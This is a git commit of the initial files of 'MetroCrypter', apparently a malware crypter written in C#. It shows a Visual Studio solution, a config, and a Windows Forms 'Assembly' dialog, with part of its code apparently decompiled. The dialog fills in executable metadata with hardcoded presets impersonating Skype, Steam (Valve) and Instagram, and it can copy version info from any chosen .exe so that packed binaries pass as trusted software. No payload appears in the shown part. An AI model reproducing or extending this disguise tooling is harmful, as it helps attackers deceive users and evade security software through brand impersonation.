initial commit

This commit is contained in:
i2p
2026-08-27 11:04:21 -06:00
commit 07a49a8c50
937 changed files with 196477 additions and 0 deletions
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,22 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.24720.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MetroCrypter", "MetroCrypter\MetroCrypter.csproj", "{FDFD0732-E42E-404F-91EC-0D73C391CF22}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{FDFD0732-E42E-404F-91EC-0D73C391CF22}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{FDFD0732-E42E-404F-91EC-0D73C391CF22}.Debug|Any CPU.Build.0 = Debug|Any CPU
{FDFD0732-E42E-404F-91EC-0D73C391CF22}.Release|Any CPU.ActiveCfg = Release|Any CPU
{FDFD0732-E42E-404F-91EC-0D73C391CF22}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
</startup>
</configuration>
@@ -0,0 +1,393 @@
using MetroFramework.Components;
using MetroFramework.Controls;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
namespace MetroCrypter
{
partial class Assembly
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.button1 = new System.Windows.Forms.Button();
this.name = new MetroFramework.Controls.MetroTextBox();
this.desc = new MetroFramework.Controls.MetroTextBox();
this.company = new MetroFramework.Controls.MetroTextBox();
this.version = new MetroFramework.Controls.MetroTextBox();
this.copyright = new MetroFramework.Controls.MetroTextBox();
this.trademark = new MetroFramework.Controls.MetroTextBox();
this.product = new MetroFramework.Controls.MetroTextBox();
this.button2 = new System.Windows.Forms.Button();
this.button3 = new System.Windows.Forms.Button();
this.button4 = new System.Windows.Forms.Button();
this.metroToolTip1 = new MetroFramework.Components.MetroToolTip();
this.fversion = new MetroFramework.Controls.MetroTextBox();
this.SuspendLayout();
//
// button1
//
this.button1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(33)))), ((int)(((byte)(35)))), ((int)(((byte)(38)))));
this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Center;
this.button1.FlatAppearance.BorderSize = 0;
this.button1.FlatAppearance.MouseOverBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(71)))), ((int)(((byte)(77)))));
this.button1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.999999F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.button1.Location = new System.Drawing.Point(266, -4);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(29, 42);
this.button1.TabIndex = 24;
this.button1.TabStop = false;
this.button1.TextAlign = System.Drawing.ContentAlignment.BottomCenter;
this.button1.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageAboveText;
this.button1.UseVisualStyleBackColor = false;
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// name
//
//
//
//
this.name.CustomButton.Image = null;
this.name.CustomButton.Location = new System.Drawing.Point(234, 1);
this.name.CustomButton.Name = "";
this.name.CustomButton.Size = new System.Drawing.Size(21, 21);
this.name.CustomButton.Style = MetroFramework.MetroColorStyle.Blue;
this.name.CustomButton.TabIndex = 1;
this.name.CustomButton.Theme = MetroFramework.MetroThemeStyle.Light;
this.name.CustomButton.UseSelectable = true;
this.name.CustomButton.Visible = false;
this.name.Lines = new string[0];
this.name.Location = new System.Drawing.Point(20, 37);
this.name.MaxLength = 32767;
this.name.Name = "name";
this.name.PasswordChar = '\0';
this.name.ScrollBars = System.Windows.Forms.ScrollBars.None;
this.name.SelectedText = "";
this.name.SelectionLength = 0;
this.name.SelectionStart = 0;
this.name.ShortcutsEnabled = true;
this.name.Size = new System.Drawing.Size(256, 23);
this.name.TabIndex = 25;
this.name.UseSelectable = true;
this.name.WaterMarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(109)))), ((int)(((byte)(109)))), ((int)(((byte)(109)))));
this.name.WaterMarkFont = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Pixel);
//
// desc
//
//
//
//
this.desc.CustomButton.Image = null;
this.desc.CustomButton.Location = new System.Drawing.Point(234, 1);
this.desc.CustomButton.Name = "";
this.desc.CustomButton.Size = new System.Drawing.Size(21, 21);
this.desc.CustomButton.Style = MetroFramework.MetroColorStyle.Blue;
this.desc.CustomButton.TabIndex = 1;
this.desc.CustomButton.Theme = MetroFramework.MetroThemeStyle.Light;
this.desc.CustomButton.UseSelectable = true;
this.desc.CustomButton.Visible = false;
this.desc.Lines = new string[0];
this.desc.Location = new System.Drawing.Point(20, 77);
this.desc.MaxLength = 32767;
this.desc.Name = "desc";
this.desc.PasswordChar = '\0';
this.desc.ScrollBars = System.Windows.Forms.ScrollBars.None;
this.desc.SelectedText = "";
this.desc.SelectionLength = 0;
this.desc.SelectionStart = 0;
this.desc.ShortcutsEnabled = true;
this.desc.Size = new System.Drawing.Size(256, 23);
this.desc.TabIndex = 26;
this.desc.UseSelectable = true;
this.desc.WaterMarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(109)))), ((int)(((byte)(109)))), ((int)(((byte)(109)))));
this.desc.WaterMarkFont = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Pixel);
//
// company
//
//
//
//
this.company.CustomButton.Image = null;
this.company.CustomButton.Location = new System.Drawing.Point(234, 1);
this.company.CustomButton.Name = "";
this.company.CustomButton.Size = new System.Drawing.Size(21, 21);
this.company.CustomButton.Style = MetroFramework.MetroColorStyle.Blue;
this.company.CustomButton.TabIndex = 1;
this.company.CustomButton.Theme = MetroFramework.MetroThemeStyle.Light;
this.company.CustomButton.UseSelectable = true;
this.company.CustomButton.Visible = false;
this.company.Lines = new string[0];
this.company.Location = new System.Drawing.Point(20, 120);
this.company.MaxLength = 32767;
this.company.Name = "company";
this.company.PasswordChar = '\0';
this.company.ScrollBars = System.Windows.Forms.ScrollBars.None;
this.company.SelectedText = "";
this.company.SelectionLength = 0;
this.company.SelectionStart = 0;
this.company.ShortcutsEnabled = true;
this.company.Size = new System.Drawing.Size(256, 23);
this.company.TabIndex = 27;
this.company.UseSelectable = true;
this.company.WaterMarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(109)))), ((int)(((byte)(109)))), ((int)(((byte)(109)))));
this.company.WaterMarkFont = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Pixel);
//
// version
//
//
//
//
this.version.CustomButton.Image = null;
this.version.CustomButton.Location = new System.Drawing.Point(234, 1);
this.version.CustomButton.Name = "";
this.version.CustomButton.Size = new System.Drawing.Size(21, 21);
this.version.CustomButton.Style = MetroFramework.MetroColorStyle.Blue;
this.version.CustomButton.TabIndex = 1;
this.version.CustomButton.Theme = MetroFramework.MetroThemeStyle.Light;
this.version.CustomButton.UseSelectable = true;
this.version.CustomButton.Visible = false;
this.version.Lines = new string[0];
this.version.Location = new System.Drawing.Point(20, 161);
this.version.MaxLength = 32767;
this.version.Name = "version";
this.version.PasswordChar = '\0';
this.version.ScrollBars = System.Windows.Forms.ScrollBars.None;
this.version.SelectedText = "";
this.version.SelectionLength = 0;
this.version.SelectionStart = 0;
this.version.ShortcutsEnabled = true;
this.version.Size = new System.Drawing.Size(256, 23);
this.version.TabIndex = 28;
this.version.UseSelectable = true;
this.version.WaterMarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(109)))), ((int)(((byte)(109)))), ((int)(((byte)(109)))));
this.version.WaterMarkFont = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Pixel);
//
// copyright
//
//
//
//
this.copyright.CustomButton.Image = null;
this.copyright.CustomButton.Location = new System.Drawing.Point(234, 1);
this.copyright.CustomButton.Name = "";
this.copyright.CustomButton.Size = new System.Drawing.Size(21, 21);
this.copyright.CustomButton.Style = MetroFramework.MetroColorStyle.Blue;
this.copyright.CustomButton.TabIndex = 1;
this.copyright.CustomButton.Theme = MetroFramework.MetroThemeStyle.Light;
this.copyright.CustomButton.UseSelectable = true;
this.copyright.CustomButton.Visible = false;
this.copyright.Lines = new string[0];
this.copyright.Location = new System.Drawing.Point(19, 281);
this.copyright.MaxLength = 32767;
this.copyright.Name = "copyright";
this.copyright.PasswordChar = '\0';
this.copyright.ScrollBars = System.Windows.Forms.ScrollBars.None;
this.copyright.SelectedText = "";
this.copyright.SelectionLength = 0;
this.copyright.SelectionStart = 0;
this.copyright.ShortcutsEnabled = true;
this.copyright.Size = new System.Drawing.Size(256, 23);
this.copyright.TabIndex = 31;
this.copyright.UseSelectable = true;
this.copyright.WaterMarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(109)))), ((int)(((byte)(109)))), ((int)(((byte)(109)))));
this.copyright.WaterMarkFont = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Pixel);
//
// trademark
//
//
//
//
this.trademark.CustomButton.Image = null;
this.trademark.CustomButton.Location = new System.Drawing.Point(234, 1);
this.trademark.CustomButton.Name = "";
this.trademark.CustomButton.Size = new System.Drawing.Size(21, 21);
this.trademark.CustomButton.Style = MetroFramework.MetroColorStyle.Blue;
this.trademark.CustomButton.TabIndex = 1;
this.trademark.CustomButton.Theme = MetroFramework.MetroThemeStyle.Light;
this.trademark.CustomButton.UseSelectable = true;
this.trademark.CustomButton.Visible = false;
this.trademark.Lines = new string[0];
this.trademark.Location = new System.Drawing.Point(19, 241);
this.trademark.MaxLength = 32767;
this.trademark.Name = "trademark";
this.trademark.PasswordChar = '\0';
this.trademark.ScrollBars = System.Windows.Forms.ScrollBars.None;
this.trademark.SelectedText = "";
this.trademark.SelectionLength = 0;
this.trademark.SelectionStart = 0;
this.trademark.ShortcutsEnabled = true;
this.trademark.Size = new System.Drawing.Size(256, 23);
this.trademark.TabIndex = 30;
this.trademark.UseSelectable = true;
this.trademark.WaterMarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(109)))), ((int)(((byte)(109)))), ((int)(((byte)(109)))));
this.trademark.WaterMarkFont = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Pixel);
//
// product
//
//
//
//
this.product.CustomButton.Image = null;
this.product.CustomButton.Location = new System.Drawing.Point(234, 1);
this.product.CustomButton.Name = "";
this.product.CustomButton.Size = new System.Drawing.Size(21, 21);
this.product.CustomButton.Style = MetroFramework.MetroColorStyle.Blue;
this.product.CustomButton.TabIndex = 1;
this.product.CustomButton.Theme = MetroFramework.MetroThemeStyle.Light;
this.product.CustomButton.UseSelectable = true;
this.product.CustomButton.Visible = false;
this.product.Lines = new string[0];
this.product.Location = new System.Drawing.Point(19, 201);
this.product.MaxLength = 32767;
this.product.Name = "product";
this.product.PasswordChar = '\0';
this.product.ScrollBars = System.Windows.Forms.ScrollBars.None;
this.product.SelectedText = "";
this.product.SelectionLength = 0;
this.product.SelectionStart = 0;
this.product.ShortcutsEnabled = true;
this.product.Size = new System.Drawing.Size(256, 23);
this.product.TabIndex = 29;
this.product.UseSelectable = true;
this.product.WaterMarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(109)))), ((int)(((byte)(109)))), ((int)(((byte)(109)))));
this.product.WaterMarkFont = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Pixel);
//
// button2
//
this.button2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(85)))), ((int)(((byte)(94)))), ((int)(((byte)(102)))));
this.button2.FlatAppearance.BorderSize = 0;
this.button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button2.Font = new System.Drawing.Font("Arial", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.button2.ForeColor = System.Drawing.Color.White;
this.button2.Location = new System.Drawing.Point(19, 358);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(59, 23);
this.button2.TabIndex = 37;
this.button2.Text = "Apply";
this.button2.UseVisualStyleBackColor = false;
this.button2.Click += new System.EventHandler(this.button2_Click);
//
// button3
//
this.button3.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(85)))), ((int)(((byte)(94)))), ((int)(((byte)(102)))));
this.button3.FlatAppearance.BorderSize = 0;
this.button3.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button3.Font = new System.Drawing.Font("Arial", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.button3.ForeColor = System.Drawing.Color.White;
this.button3.Location = new System.Drawing.Point(102, 358);
this.button3.Name = "button3";
this.button3.Size = new System.Drawing.Size(98, 23);
this.button3.TabIndex = 38;
this.button3.Text = "Random";
this.metroToolTip1.SetToolTip(this.button3, "Randomize Your Settings");
this.button3.UseVisualStyleBackColor = false;
this.button3.Click += new System.EventHandler(this.button3_Click);
//
// button4
//
this.button4.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(33)))), ((int)(((byte)(35)))), ((int)(((byte)(38)))));
this.button4.FlatAppearance.BorderSize = 0;
this.button4.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button4.Font = new System.Drawing.Font("Arial", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.button4.ForeColor = System.Drawing.Color.White;
this.button4.Location = new System.Drawing.Point(217, 358);
this.button4.MaximumSize = new System.Drawing.Size(59, 23);
this.button4.Name = "button4";
this.button4.Size = new System.Drawing.Size(59, 23);
this.button4.TabIndex = 39;
this.metroToolTip1.SetToolTip(this.button4, "Clone Application");
this.button4.UseVisualStyleBackColor = false;
this.button4.Click += new System.EventHandler(this.button4_Click);
//
// metroToolTip1
//
this.metroToolTip1.Style = MetroFramework.MetroColorStyle.Blue;
this.metroToolTip1.StyleManager = null;
this.metroToolTip1.Theme = MetroFramework.MetroThemeStyle.Light;
//
// fversion
//
//
//
//
this.fversion.CustomButton.Image = null;
this.fversion.CustomButton.Location = new System.Drawing.Point(-20, 2);
this.fversion.CustomButton.Name = "";
this.fversion.CustomButton.Size = new System.Drawing.Size(17, 17);
this.fversion.CustomButton.Style = MetroFramework.MetroColorStyle.Blue;
this.fversion.CustomButton.TabIndex = 1;
this.fversion.CustomButton.Theme = MetroFramework.MetroThemeStyle.Light;
this.fversion.CustomButton.UseSelectable = true;
this.fversion.CustomButton.Visible = false;
this.fversion.Lines = new string[0];
this.fversion.Location = new System.Drawing.Point(0, 0);
this.fversion.MaxLength = 32767;
this.fversion.Name = "fversion";
this.fversion.PasswordChar = '\0';
this.fversion.ScrollBars = System.Windows.Forms.ScrollBars.None;
this.fversion.SelectedText = "";
this.fversion.SelectionLength = 0;
this.fversion.SelectionStart = 0;
this.fversion.ShortcutsEnabled = true;
this.fversion.Size = new System.Drawing.Size(0, 22);
this.fversion.TabIndex = 0;
this.fversion.UseSelectable = true;
this.fversion.WaterMarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(109)))), ((int)(((byte)(109)))), ((int)(((byte)(109)))));
this.fversion.WaterMarkFont = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Pixel);
//
// Assembly
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(33)))), ((int)(((byte)(35)))), ((int)(((byte)(38)))));
this.ClientSize = new System.Drawing.Size(295, 397);
this.Controls.Add(this.fversion);
this.Controls.Add(this.button4);
this.Controls.Add(this.button3);
this.Controls.Add(this.button2);
this.Controls.Add(this.copyright);
this.Controls.Add(this.trademark);
this.Controls.Add(this.product);
this.Controls.Add(this.version);
this.Controls.Add(this.company);
this.Controls.Add(this.desc);
this.Controls.Add(this.name);
this.Controls.Add(this.button1);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
this.Name = "Assembly";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Assembly";
this.Load += new System.EventHandler(this.Assembly_Load_1);
this.ResumeLayout(false);
}
#endregion
}
}
@@ -0,0 +1,534 @@
using MetroFramework.Components;
using MetroFramework.Controls;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Resources;
using System.Windows.Forms;
namespace MetroCrypter
{
public class Assembly : Form
{
private const int WM_NCHITTEST = 132;
private const int HT_CLIENT = 1;
private const int HT_CAPTION = 2;
private string[] namer2 = new string[] { "Steam Client Bootstrapper", "3.65.13.80", "Steam Client Bootstrapper", "01.00.00.01", "Copyright (C) 2010 Valve Corporation", "", "", "Steam" };
private string[] namer = new string[] { "Skype", "3.65.13.44", "Skype S.a.r.l", "01.81", "Copyright (C) 2016 Skype", "Skype S.A.R.L", "Skype", "Skype" };
private string[] namer1 = new string[] { "Instagram", "3.2", "Instagram Client", "01.21", "Copyright (C) 2016 Instagram / Facebook", "Instagram", "Instagram", "Instagram" };
private string[] namers = new string[] { "namer", "namer1", "namer2" };
private IContainer components = null;
private Button button1;
private MetroTextBox name;
private MetroTextBox desc;
private MetroTextBox company;
private MetroTextBox version;
private MetroTextBox copyright;
private MetroTextBox trademark;
private MetroTextBox product;
private Button button2;
private Button button3;
private Button button4;
private MetroToolTip metroToolTip1;
private MetroTextBox fversion;
public Assembly()
{
this.InitializeComponent();
this.fversion.Text = Form1.CID.fversion;
this.name.Text = Form1.CID.title;
this.company.Text = Form1.CID.company;
this.product.Text = Form1.CID.product;
this.copyright.Text = Form1.CID.copyright;
this.trademark.Text = Form1.CID.trademark;
this.version.Text = Form1.CID.version;
this.desc.Text = Form1.CID.description;
}
private void Assembly_Load(object sender, EventArgs e)
{
}
private void button1_Click(object sender, EventArgs e)
{
base.Close();
}
private void button2_Click(object sender, EventArgs e)
{
Form1.CID.title = this.name.Text;
Form1.CID.company = this.company.Text;
Form1.CID.product = this.product.Text;
Form1.CID.copyright = this.copyright.Text;
Form1.CID.trademark = this.trademark.Text;
Form1.CID.version = this.version.Text;
Form1.CID.description = this.desc.Text;
Form1.CID.fversion = this.fversion.Text;
base.Close();
if (string.IsNullOrEmpty(Form1.CID.title))
{
MessageBox.Show("Pleaes enter the assembly");
}
}
private void button3_Click(object sender, EventArgs e)
{
string str = this.namers[int.Parse(this.RandomNumbersp(1))];
if (str == "namer")
{
this.desc.Text = this.namer[0];
this.fversion.Text = this.namer[1];
this.product.Text = this.namer[2];
this.version.Text = this.namer[3];
this.copyright.Text = this.namer[4];
this.company.Text = this.namer[5];
this.trademark.Text = this.namer[6];
this.name.Text = this.namer[7];
}
else if (str == "namer1")
{
this.desc.Text = this.namer1[0];
this.fversion.Text = this.namer1[1];
this.product.Text = this.namer1[2];
this.version.Text = this.namer1[3];
this.copyright.Text = this.namer1[4];
this.company.Text = this.namer1[5];
this.trademark.Text = this.namer1[6];
this.name.Text = this.namer1[7];
}
else if (str == "namer2")
{
this.desc.Text = this.namer2[0];
this.fversion.Text = this.namer2[1];
this.product.Text = this.namer2[2];
this.version.Text = this.namer2[3];
this.copyright.Text = this.namer2[4];
this.company.Text = this.namer2[5];
this.trademark.Text = this.namer2[6];
this.name.Text = this.namer2[7];
}
}
private void button4_Click(object sender, EventArgs e)
{
using (OpenFileDialog openFileDialog = new OpenFileDialog())
{
openFileDialog.Filter = "Exe Cute Ables|*.exe";
if (openFileDialog.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
string fileName = openFileDialog.FileName;
if (openFileDialog.FileName.Contains(".exe"))
{
FileVersionInfo versionInfo = FileVersionInfo.GetVersionInfo(openFileDialog.FileName);
this.version.Text = versionInfo.ProductVersion;
this.fversion.Text = versionInfo.FileVersion;
this.company.Text = versionInfo.CompanyName;
this.desc.Text = versionInfo.FileDescription;
this.copyright.Text = versionInfo.LegalCopyright;
this.trademark.Text = versionInfo.LegalTrademarks;
this.product.Text = versionInfo.ProductName;
this.name.Text = versionInfo.InternalName;
}
else
{
MessageBox.Show("Please load a .exe file");
}
}
}
}
protected override void Dispose(bool disposing)
{
if ((!disposing ? false : this.components != null))
{
this.components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(Assembly));
this.button1 = new Button();
this.name = new MetroTextBox();
this.desc = new MetroTextBox();
this.company = new MetroTextBox();
this.version = new MetroTextBox();
this.copyright = new MetroTextBox();
this.trademark = new MetroTextBox();
this.product = new MetroTextBox();
this.button2 = new Button();
this.button3 = new Button();
this.button4 = new Button();
this.metroToolTip1 = new MetroToolTip();
this.fversion = new MetroTextBox();
base.SuspendLayout();
this.button1.BackColor = Color.FromArgb(33, 35, 38);
this.button1.BackgroundImage = (Image)componentResourceManager.GetObject("button1.BackgroundImage");
this.button1.BackgroundImageLayout = ImageLayout.Center;
this.button1.FlatAppearance.BorderSize = 0;
this.button1.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77);
this.button1.FlatStyle = FlatStyle.Flat;
this.button1.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.button1.Location = new Point(266, -4);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(29, 42);
this.button1.TabIndex = 24;
this.button1.TabStop = false;
this.button1.TextAlign = ContentAlignment.BottomCenter;
this.button1.TextImageRelation = TextImageRelation.ImageAboveText;
this.button1.UseVisualStyleBackColor = false;
this.button1.Click += new EventHandler(this.button1_Click);
this.name.get_CustomButton().set_Image(null);
this.name.get_CustomButton().Location = new Point(234, 1);
this.name.get_CustomButton().Name = "";
this.name.get_CustomButton().Size = new System.Drawing.Size(21, 21);
this.name.get_CustomButton().set_Style(4);
this.name.get_CustomButton().TabIndex = 1;
this.name.get_CustomButton().set_Theme(1);
this.name.get_CustomButton().set_UseSelectable(true);
this.name.get_CustomButton().Visible = false;
this.name.set_Lines(new string[0]);
this.name.Location = new Point(20, 37);
this.name.set_MaxLength(32767);
this.name.Name = "name";
this.name.set_PasswordChar('\0');
this.name.set_PromptText("Name");
this.name.set_ScrollBars(ScrollBars.None);
this.name.set_SelectedText("");
this.name.set_SelectionLength(0);
this.name.set_SelectionStart(0);
this.name.set_ShortcutsEnabled(true);
this.name.Size = new System.Drawing.Size(256, 23);
this.name.set_Style(3);
this.name.TabIndex = 25;
this.name.set_UseSelectable(true);
this.name.set_WaterMark("Name");
this.name.set_WaterMarkColor(Color.FromArgb(109, 109, 109));
this.name.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel));
this.desc.get_CustomButton().set_Image(null);
this.desc.get_CustomButton().Location = new Point(234, 1);
this.desc.get_CustomButton().Name = "";
this.desc.get_CustomButton().Size = new System.Drawing.Size(21, 21);
this.desc.get_CustomButton().set_Style(4);
this.desc.get_CustomButton().TabIndex = 1;
this.desc.get_CustomButton().set_Theme(1);
this.desc.get_CustomButton().set_UseSelectable(true);
this.desc.get_CustomButton().Visible = false;
this.desc.set_Lines(new string[0]);
this.desc.Location = new Point(20, 77);
this.desc.set_MaxLength(32767);
this.desc.Name = "desc";
this.desc.set_PasswordChar('\0');
this.desc.set_PromptText("Description");
this.desc.set_ScrollBars(ScrollBars.None);
this.desc.set_SelectedText("");
this.desc.set_SelectionLength(0);
this.desc.set_SelectionStart(0);
this.desc.set_ShortcutsEnabled(true);
this.desc.Size = new System.Drawing.Size(256, 23);
this.desc.set_Style(3);
this.desc.TabIndex = 26;
this.desc.set_UseSelectable(true);
this.desc.set_WaterMark("Description");
this.desc.set_WaterMarkColor(Color.FromArgb(109, 109, 109));
this.desc.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel));
this.company.get_CustomButton().set_Image(null);
this.company.get_CustomButton().Location = new Point(234, 1);
this.company.get_CustomButton().Name = "";
this.company.get_CustomButton().Size = new System.Drawing.Size(21, 21);
this.company.get_CustomButton().set_Style(4);
this.company.get_CustomButton().TabIndex = 1;
this.company.get_CustomButton().set_Theme(1);
this.company.get_CustomButton().set_UseSelectable(true);
this.company.get_CustomButton().Visible = false;
this.company.set_Lines(new string[0]);
this.company.Location = new Point(20, 120);
this.company.set_MaxLength(32767);
this.company.Name = "company";
this.company.set_PasswordChar('\0');
this.company.set_PromptText("Company");
this.company.set_ScrollBars(ScrollBars.None);
this.company.set_SelectedText("");
this.company.set_SelectionLength(0);
this.company.set_SelectionStart(0);
this.company.set_ShortcutsEnabled(true);
this.company.Size = new System.Drawing.Size(256, 23);
this.company.set_Style(3);
this.company.TabIndex = 27;
this.company.set_UseSelectable(true);
this.company.set_WaterMark("Company");
this.company.set_WaterMarkColor(Color.FromArgb(109, 109, 109));
this.company.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel));
this.version.get_CustomButton().set_Image(null);
this.version.get_CustomButton().Location = new Point(234, 1);
this.version.get_CustomButton().Name = "";
this.version.get_CustomButton().Size = new System.Drawing.Size(21, 21);
this.version.get_CustomButton().set_Style(4);
this.version.get_CustomButton().TabIndex = 1;
this.version.get_CustomButton().set_Theme(1);
this.version.get_CustomButton().set_UseSelectable(true);
this.version.get_CustomButton().Visible = false;
this.version.set_Lines(new string[0]);
this.version.Location = new Point(20, 161);
this.version.set_MaxLength(32767);
this.version.Name = "version";
this.version.set_PasswordChar('\0');
this.version.set_PromptText("Version");
this.version.set_ScrollBars(ScrollBars.None);
this.version.set_SelectedText("");
this.version.set_SelectionLength(0);
this.version.set_SelectionStart(0);
this.version.set_ShortcutsEnabled(true);
this.version.Size = new System.Drawing.Size(256, 23);
this.version.set_Style(3);
this.version.TabIndex = 28;
this.version.set_UseSelectable(true);
this.version.set_WaterMark("Version");
this.version.set_WaterMarkColor(Color.FromArgb(109, 109, 109));
this.version.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel));
this.copyright.get_CustomButton().set_Image(null);
this.copyright.get_CustomButton().Location = new Point(234, 1);
this.copyright.get_CustomButton().Name = "";
this.copyright.get_CustomButton().Size = new System.Drawing.Size(21, 21);
this.copyright.get_CustomButton().set_Style(4);
this.copyright.get_CustomButton().TabIndex = 1;
this.copyright.get_CustomButton().set_Theme(1);
this.copyright.get_CustomButton().set_UseSelectable(true);
this.copyright.get_CustomButton().Visible = false;
this.copyright.set_Lines(new string[0]);
this.copyright.Location = new Point(19, 281);
this.copyright.set_MaxLength(32767);
this.copyright.Name = "copyright";
this.copyright.set_PasswordChar('\0');
this.copyright.set_PromptText("Copyright");
this.copyright.set_ScrollBars(ScrollBars.None);
this.copyright.set_SelectedText("");
this.copyright.set_SelectionLength(0);
this.copyright.set_SelectionStart(0);
this.copyright.set_ShortcutsEnabled(true);
this.copyright.Size = new System.Drawing.Size(256, 23);
this.copyright.set_Style(3);
this.copyright.TabIndex = 31;
this.copyright.set_UseSelectable(true);
this.copyright.set_WaterMark("Copyright");
this.copyright.set_WaterMarkColor(Color.FromArgb(109, 109, 109));
this.copyright.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel));
this.trademark.get_CustomButton().set_Image(null);
this.trademark.get_CustomButton().Location = new Point(234, 1);
this.trademark.get_CustomButton().Name = "";
this.trademark.get_CustomButton().Size = new System.Drawing.Size(21, 21);
this.trademark.get_CustomButton().set_Style(4);
this.trademark.get_CustomButton().TabIndex = 1;
this.trademark.get_CustomButton().set_Theme(1);
this.trademark.get_CustomButton().set_UseSelectable(true);
this.trademark.get_CustomButton().Visible = false;
this.trademark.set_Lines(new string[0]);
this.trademark.Location = new Point(19, 241);
this.trademark.set_MaxLength(32767);
this.trademark.Name = "trademark";
this.trademark.set_PasswordChar('\0');
this.trademark.set_PromptText("Trademark");
this.trademark.set_ScrollBars(ScrollBars.None);
this.trademark.set_SelectedText("");
this.trademark.set_SelectionLength(0);
this.trademark.set_SelectionStart(0);
this.trademark.set_ShortcutsEnabled(true);
this.trademark.Size = new System.Drawing.Size(256, 23);
this.trademark.set_Style(3);
this.trademark.TabIndex = 30;
this.trademark.set_UseSelectable(true);
this.trademark.set_WaterMark("Trademark");
this.trademark.set_WaterMarkColor(Color.FromArgb(109, 109, 109));
this.trademark.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel));
